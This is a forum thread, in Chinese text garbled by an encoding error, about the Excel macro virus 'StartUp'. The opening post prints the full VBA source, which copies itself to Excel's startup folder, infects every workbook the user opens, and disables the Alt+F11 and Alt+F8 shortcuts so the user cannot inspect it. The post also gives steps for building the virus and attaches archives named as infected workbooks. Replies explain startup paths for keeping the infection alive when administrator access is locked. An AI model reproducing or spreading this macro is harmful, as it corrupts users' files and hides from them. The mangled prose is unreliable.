ªð¦^¦Cªí ¤W¤@¥DÃD µo©«

[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("StartUp")

[¤À¨É] EXCEL¥¨¶°¯f¬r®×¨Ò("StartUp")

¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2012-6-8 21:21 ½s¿è

2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv­­

TO ¦U¦ì¹Ù¦ñ:
StartUp¯f¬rx97m.escape.d
³o­Ó¤£¬O¯f¬rªº¯f¬r¦b2009¦~©³»P2010¦~ªì¦b ¦U¤j½×¾Â³y¦¨«Ü¦h§xÂZ
¤¤ªº¤H¤j³¡¤À³£¬OVBA°ª¤â.¤j®a³£½|ªº­n©R
¦Ü¤µ½×¾Â¤W¥u·|¸Ñ°£¦ý³£¤@ª½¤£ª¾¹D¨ä­ì²z
´N¦b¦¹»¡©ú¤@¤G

¦¹ªk¸g´ú¸Õexcel95~2010§¡¥i¥Î2007¥H«áÀɮ׮榡­nÂà´«¦¨xlsmÀÉ
­Y¬O§@¦¨¯f¬r·P¬V¡A§Ú·|»s¦¨xlsÀÉ¡AµM«á¥Îª©¥»§P§Oµ{¦¡§PÂ_¡A¨Ï¥Î2007¥H«áª©¥»®É·|¥t¦s¦¨xlsmÀÉ®×
³o¼Ë·P¬V®É¦Uª©¥»´N·|³q¥Î

ª`·N¦¹ÀɮסA¦³ÀÉ®×·P¬V©Ê:
1.°õ¦æ¦¹ªþ¥ó¯f¬r«á¡A½Ð¯S§Oª`·N¨ìApplication.StartupPath ¸ô®|¸ê®Æ§¨²M°£ "StartUp.xls"ÀÉ®×
¦p¦ó¸Ñ°£¡A½Ð°õ¦æ¤U¦Cµ{§Ç·|¦Û°Ê¶}±Ò¦s©ñ¸ô®|¸ê®Æ§¨:
    Sub StartupPathA()
    '¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
    '³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
    On Error GoTo Error1
    Dim mySh As Shell32.Shell
    Set mySh = CreateObject("Shell.Application")
    mySh.Explore Application.StartupPath  '¥ô·Nªº¸ê®Æ§¨
    Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
    Error1: End Sub
    '(EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)


2.½Ð°w¹ï¦¹©«¤º®e»PÀɮ׫O±K¡A¬ªº|¤Ó¦h¡A¹ïEXCEL¥@¬É·|³y¦¨²V¶Ã
3.³Â»¶½×ÀȪ©¥D¸s¤¤´¿¦³¤H¤¤¹L¦¹¬r¨Ã¦bºë­^µo°Ý¹L¡A¬O«D±`¦nªº°ÝÃD¡A¦ý¦¹Äݯµ§Þ¤¤ªº¯µ§Þ¡A¨S¤Hª¾¹D¡A
©Ò¥H¤@ª½¥¼±o¨ì¥¿½Tªº¸Ñµª¡A¦bºë­^½×ÀȤ¤¤S¬O¤@Äa®×¡A§Ú¤]¤@ª½¨S¦³©ñ¥Xµª®×¡A´N¶X¦¹¦¸¦b¦¹©«§@ºô¸ô¤W²Ä¤@¦¸¥¿¸Ñ­ì²z»¡©ú

¦¹ÀÉ®×¼Ò²Õ·P¬V­ì²z:
1.§Ú·Q³o¼Ë¤j®a´N·|ª¾¹D¡A²Ä2ÂI³o«h³sµ²­n¦p¦óÀ³¥Î¡A
¦³¦MÀI¡B²³æ¡B­n³]©wÅv­­[50]ªº­ì¦]

2.[­ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª

°õ¦æ®ÄªG:
1.¨Ï¥Î¦¹ÀÉ ¦¹ÀÉ·|¦Û°Ê¥t¦s "StartUp.xls"ÀɮרìApplication.StartupPath ¸ô®|¸ê®Æ§¨
2.·s¼WÀÉ®×»P¶}±ÒÂÂÀɳ£·|¦Û°Ê²¾´Ó¤J¦¹·P¬V¼Ò²Õ¡A­Y¤£ª`·N§A©Ò¦³¨Ï¥Î¹LªºEXCELÀɮ׳£·|¨ü·P¬V
3.¯f¬rµ{¦¡¦p¤U
-----------------------------------------------------------------------------------------------------
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

-----------------------------------------------------------------------------------------------------
P.S.
¯f¬r§@ªk¨BÆJ:
1.±N¤W­zµ{¦¡½XCOPY¨ì EXCEL ¼Ò²Õ¤¤
2.±N¼Ò²Õ¦WºÙ§ï¬° results
3.[­ì³Ð] VBA¦C¥X¤u§@ªí¦WºÙ®É¼Ò²ÕÅܦ¨¤u§@ªí¥BÅã¥Ü«D±`ÁôÂà ¸Ñµª
§Y¥i§¹¦¨

EXCEL·P¬V«¬¬r.rar (8.09 KB)
EXCEL2007·P¬V«¬¬r.rar (15.74 KB)

¦^´_ 1# HUNGCHILIN
ªü¦N¥S§A»¡ StartupPath   (EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
§Ú¬O2003®v¥Íª©  C:\Documents and Settings\hsu.HSUXP\Application Data\Microsoft\Excel\XLSTART   »P§A¤£¤@¼Ëªü!
Application.OnSheetActivate ªº¤èªk ¬Û·í©ó Workbook_SheetActivateªº¨Æ¥ó ,¦ý¦b¤£¦s¦b©ó2003ª©ªº»¡©ú¤¤.
½Ð°ÝOnSheetActivateªº»¡©ú¶}©l©ó¨º¤@ª©¥».

TOP

¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2011-1-13 22:24 ½s¿è

¦^´_  HUNGCHILIN
ªü¦N¥S§A»¡ StartupPath   (EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roamin ...
GBKEE µoªí©ó 2011-1-13 19:29



GBKEE¥S±z¦n

­º¥ý¯uªºÁÂÁ±zµo¨¥¡A¦]¬°³Ìªñ¦U¤jOFFICEºô¯¸¡A³£«Ü´e¡A³£¨S¤H­nµo¨¥¡A¨S·sªF¦è¡B¸ÜÃD
¡A©Ò¥H§Úªñ´Á¤@ª½©ñ¤@¨Ç¦nª±ªºªF¦è¸ò¤j®a°Q½×¡AÅý¤j®a¼öµ¸¤@ÂI¡A
§Ú¤S¤£·Q§â¦¹§Þ³N©ñ¨ì¤j³°ºô¯¸¡C

­º¥ý»¡©ú:

1.¯f¬r¦s©ñ¸ô®|§Ú­Ìª¾¹D¬OÀH·Nªº¡A­n©ñ¨º¸Ì´N¨º¸Ì¡C
2.¦ýEXCEL¦³³\¦h­Ó¨t²Î¹w³]¸ô®|¡A©Ò¥H¤£¥u¬O¤W­zStartupPath ¨t²Î¹w³]¸ô®|¡A¦Ó¬O¦³«Ü¦h­Ó¡A³o¥u¬O¨ú¨ä¤¤¤@ºØ¡C
3.¤U¤è¬O§Ú¼¶¼gªºµ{§Ç¡A¬O§Ú±`¥Îªº¨t²Î¹w³]¸ô®|¡A¤è«K°»´ú¯f¬r»P´ú¸Õ¦Û¤vªºµ{¦¡©ñ¤J³o¨Ç¦a¤è¦³¦ó®ÄªG¡C


Option Explicit
Sub LibraryPathA()
'¹q¸£¤W COM ¼W¯q¶°ªº¦w¸Ë¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.LibraryPath '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub UserLibraryPathA()
'¨Ï¥ÎªÌ¹q¸£¤W COM ¼W¯q¶°ªº¦w¸Ë¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.UserLibraryPath '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub ApplicationStartupPathA()
'Microsoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.Path & "\XLSTART\"  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub StartupPathA()
'¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub TemplatesPathA()
'Àx¦s½d¥»©Ò¦bªº°Ï°ì¸ô®|¡C
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.TemplatesPath   '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub DefaultFilePathA()
'¥Ø«e¹w³]Àɮ׸ô®|
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.DefaultFilePath  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub AltStartupPathA()
'´À¿ïªº±Ò°ÊÀɮצì¸m
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.AltStartupPath  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub
Sub AutoRecoverPathA()
'¦Û°Ê¦^´_Àɮתº¸ô®|
'³]©w¤Þ¥Î¶µ¥ØMicrosoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.AutoRecover.Path  '¥ô·Nªº¸ê®Æ§¨
Set mySh = Nothing  'ª«¥óªºÄÀ©ñ
Error1: End Sub


4.¥²¶·­n¯S§O»¡©ú¤U¦C4­Ó¨t²Î¹w³]¸ô®|
     ¥Ò Application.LibraryPath '¹q¸£¤W COM ¼W¯q¶°ªº¦w¸Ë¸ô®|
     ¤A Application.UserLibraryPath '¨Ï¥ÎªÌ¹q¸£¤W COM ¼W¯q¶°ªº¦w¸Ë¸ô®|
------------------------------------------------------------------------------------
     ¤þ Application.Path & "\XLSTART\" 'Microsoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|
     ¤B Application.StartupPath  '¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|
------------------------------------------------------------------------------------
Æ[©À­n±q©w¸q¥Ñ¤p¦Ó¤j»¡°_
©w¸q¥i¤À¦¨
1.ÁôÂûP«DÁôÂÃ
2.¨Ì¶}±Ò»P¨Ï¥ÎSHEETÁÙ¥i¦A¤À¦¨¦Û°Ê±Ò¥Î»P«D¦Û°Ê±Ò¥Î¨âºØ
3.¨Ì¨Ï¥Î¤¤SHEETÁÙ¥i¦A¤À¦¨¨p¥Î»P¤½¥Î
4.¨Ì¨Ï¥Î¤¤°Ï°ìÁÙ¥i¦A¤À¦¨µ´¹ï¬Û¹ï»P¦@¥Î¤TºØ

5.ªñ´Á°U±zªººÖ®ð¡AÁÙµo²{¦b©w¸q¤¤"«Ø¥ß¦WºÙ"=Book1!Module1.Macro1³W«h®É¡A¥i¨Ï¥Î¥¨¶°°õ¦æµe­±¡Aª½±µ"¿é¤J©w¸q¦WºÙ"¨Ó°õ¦æ¥¨¶°
¦Ó¤£¥Î¨Ï¥Î¥¨¶°ªíªº©w¸qµe­±¨Ó³]©w¥¨¶°«¬©w¸q

­«ÂI:EXCEL¦³¨p¥Î»P¤½¥Î©w¸q>>>EXCEL¦³¨p¥Î»P¤½¥Î ¦Û°Ê±Ò°Ê¬¡­¶Ã¯>>>EXCEL¦³¨p¥Î»P¤½¥Î ¼W¯q¶°
EXCEL¦³¨p¥Î»P¤½¥Î©w¸q §Ú­Ì¤w¸gª¾¹D¡A¨º¤°»ò¬OEXCEL¦³¨p¥Î»P¤½¥Î ¦Û°Ê±Ò°Ê¬¡­¶Ã¯¡BEXCEL¦³¨p¥Î»P¤½¥Î ¼W¯q¶°¡A³o²o¯A¨ìWINDOWS¨Ï¥ÎªÌªº³¡¥÷¡A¦bWINDOWSµn¤J¨Ï¥ÎªÌ§Ú­Ìª¾¹D¡A¦³¤@ºØ¬O¥þ³¡¨Ï¥ÎªÌ³£¥i¥H¨Ï¥Îªºµ{¦¡¡A¦³¤@ºØ¬O¥u¦³³æ¤@µn¤J¨Ï¥ÎªÌ¥i¥H¨Ï¥Îªºµ{¦¡¡A³o´N¬O"EXCEL¦³¨p¥Î»P¤½¥Î¦Û°Ê±Ò°Ê¬¡­¶Ã¯¡B¼W¯q¶°"ªº®t²§¡C
------------------------------------------------------------------------------------
¦Ó±z©Ò¸ß°Ýªº(°ÝÃD¤@)
StartupPath   (EXCEL2003ª©¦b³o¸ô®|¡AC:\Users\HUNGCHILIN\AppData\Roaming\Microsoft\Excel\XLSTART)
§Ú¬O2003®v¥Íª©  C:\Documents and Settings\hsu.HSUXP\Application Data\Microsoft\Excel\XLSTART   »P§A¤£¤@¼Ëªü!

Application.StartupPath  ³o¬O¨Ï¥ÎªÌ¹q¸£¤WMicrosoft Excel ±Ò°Ê¸ê®Æ§¨ªº§¹¾ã¸ô®|¡A¨Ï¥Î¦¹¸ô®|¥Nªí¥u¦³³o­Óµn¤JªÌ¥i¨Ï¥Î¦¹ÀÉ¡A­Y¨Ï¥ÎApplication.UserLibraryPath¤]¬O®t¤£¦h­ì²z¡A¥u¦³³o­Óµn¤JªÌ¥i¨Ï¥Î¦¹¼W¯q¶°¡A©Ò¥H¤W­±ªºHUNGCHILIN¬O§Úªº¹q¸£ªºµn¤JªÌ±b¸¹¦W¡A¨C­Óµn¤JªÌ³£¤£¤@¼Ë¡A©Ò¥H§Úªþ¤Wµ{¦¡¡C

¨º¨Ï¥Î¨p¥Î°Ï¦³¦ó¦n³B:
     A.¦P¤@¥x¹q¸£¡A¥u¦³¬Y´X­Ó¨Ï¥ÎªÌ¥i¨Ï¥Î
     B.·í¤½¥q­Ó¤H¹q¸£Administrator³QÂê¦í®É¡A§Ú­Ì¤£¯à¦s¥ô¦óÀɨ줽¥Î¸ô®|µ¹¥þ³¡ªºµn¤JªÌ¥Î¦]¬°³QÂê¤F¡A¥u¯à¥t¦s¨ì¨p¥Î¸ô®|¦Û¤v¥Î
     ¬G¦¹Àɧڭ̥Ψp¥Î¸ô®|¡A´Nºâ¤½¥q­Ó¤H¹q¸£Administrator³QÂê¦í¡AÁÙ¬O¦³¾÷·|¦s¨ì­Ó¤H°Ï«ùÄò·P¬V¡C

TOP

¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2011-1-13 22:10 ½s¿è

¦Ó±z©Ò¸ß°Ýªº(°ÝÃD¤G)
Application.OnSheetActivate ªº¤èªk ¬Û·í©ó Workbook_SheetActivateªº¨Æ¥ó ,¦ý¦b¤£¦s¦b©ó2003ª©ªº»¡©ú¤¤.½Ð°ÝOnSheetActivateªº»¡©ú¶}©l©ó¨º¤@ª©¥».

³o­Ó³¡¥÷¬O¦­´ÁEXCEL4.3ª©®ÉªºVBA¨Ï¥Î¤è¦¡
EXCEL5.0ª©®É¬OÂX¥R¥i¥H¨Ï¥Î¦h­¶SHEET»PVBA»y¨¥
EXCEL97(8.0)¥H«áVBA¶}µoÀô¹Ò§ó·s¥[±j

¨ãÅ黡©ú
OnSheetActivate ªº¤èªk
À³¥Î©ó
Application¡BChart¡BDialogSheet¡BModule¡BWorkbook¡BWorksheet

´y­z
¶Ç¦^©Î³]©w·í¨Ï¥ÎªÌ±Ò°Ê¤U¦C¦U¶µ®É¡A©Ò°õ¦æªº¥¨¶°¦WºÙ¡G«ü©wªº¤u§@ªí¡]¬° Chart¡BDialogSheet¡BModule ©Î Worksheet ª«¥ó¡^¡B«ü©w¤§¬¡­¶Ã¯¤ºªº¥ô¦ó¤u§@ªí¡]¬° Workbook ª«¥ó¡^©Î¥ô¦ó¶}±Ò¤§¬¡­¶Ã¯¤ºªº¤u§@ªí¡]¬° Application ª«¥ó¡^¡C¦¹¬°¥iŪ¼gÄÝ©Ê¡C

»yªk
object.OnSheetActivate

¤¸¯À
object
¦¹¬°¥²­n¤¸¯À¡F¬°¦¹ÄÝ©ÊÀ³¥Îªºª«¥ó¡C

TOP

¦^´_ 4# HUNGCHILIN
ÁÂÁ§Aªº¦^µª,¯u¬O¤Ó¸Ô²Ó¤F.

TOP

¥»©«³Ì«á¥Ñ HUNGCHILIN ©ó 2011-1-16 23:05 ½s¿è

´ú¸Õ¥i·P¬V©Ò¦³EXCELª©¥»ªºÀɮסA¥uÀH«K¥[¤@­Óª©¥»§PÂ_µ{¦¡¡Aµ{¦¡¨Ã¨S¦³Àu¤Æ»P¯S§O´î¤Ö­«ÂФ§µ{¦¡
±b¸¹"OFFICE±M®a":¬O§Úªº¥t¤@­Ó±b¸¹
¦¹§Þ¥©½Æ¦X³o§Þ¥©Åܳo¼Ë¦pªþ¥ó
[­ì³Ð] ¦Û°Ê¶}±ÒªºÀɤ¤Àɧޥ©
¥Î³o¤èªk¡A«ÜÃø¹w´ú·P¬Vµ{¦¡©ñ¦b¨º­Ó¦ì¸m




Àɤ¤ÀɽƦXÀÉ.rar (12.68 KB)

TOP

¯u½ÆÂø¤]¾Ç²ß«Ü¦h¡AÁÂÁ¤j®v

TOP

½Ð°Ý ¤j¤j excel vba ¤¤ ¡A¥i¤£¥i¥H´¡¤J²Õ¦X»y¨¥½X©Î¾÷±ñ½X
ÁÂÁÂ

TOP

2012/6/8¤é¥H«áEXCEL«OÅ@«O±K§Þ¥©©«¤£¦A³]©w¾\ŪÅv­­
TO ¦U¦ì¹Ù¦ñ:
StartUp¯f¬rx97m.escape.d
³o­Ó¤£ ...
HUNGCHILIN µoªí©ó 2011-1-12 20:59

1# ªº EXCEL·P¬V«¬¬r.rar (8.09 KB)
  1. ³Â»¶®a±Ú°Q½×ª©ª© ´£¥Ü«H®§
  2. --------------------------------------------------------------------------------
  3. ªþ¥ó¤å¥ó¤£¦s¦b©ÎµLªkŪ¤J¡A½Ð»PºÞ²z­ûÁpô¡C
½Æ»s¥N½X
ÁÂÁÂ.

TOP

        ÀR«ä¦Û¦b : µÊ®ð¼L¤Ú¤£¦n¡A¤ß¦a¦A¦n¤]¤£¯àºâ¬O¦n¤H¡C
ªð¦^¦Cªí ¤W¤@¥DÃD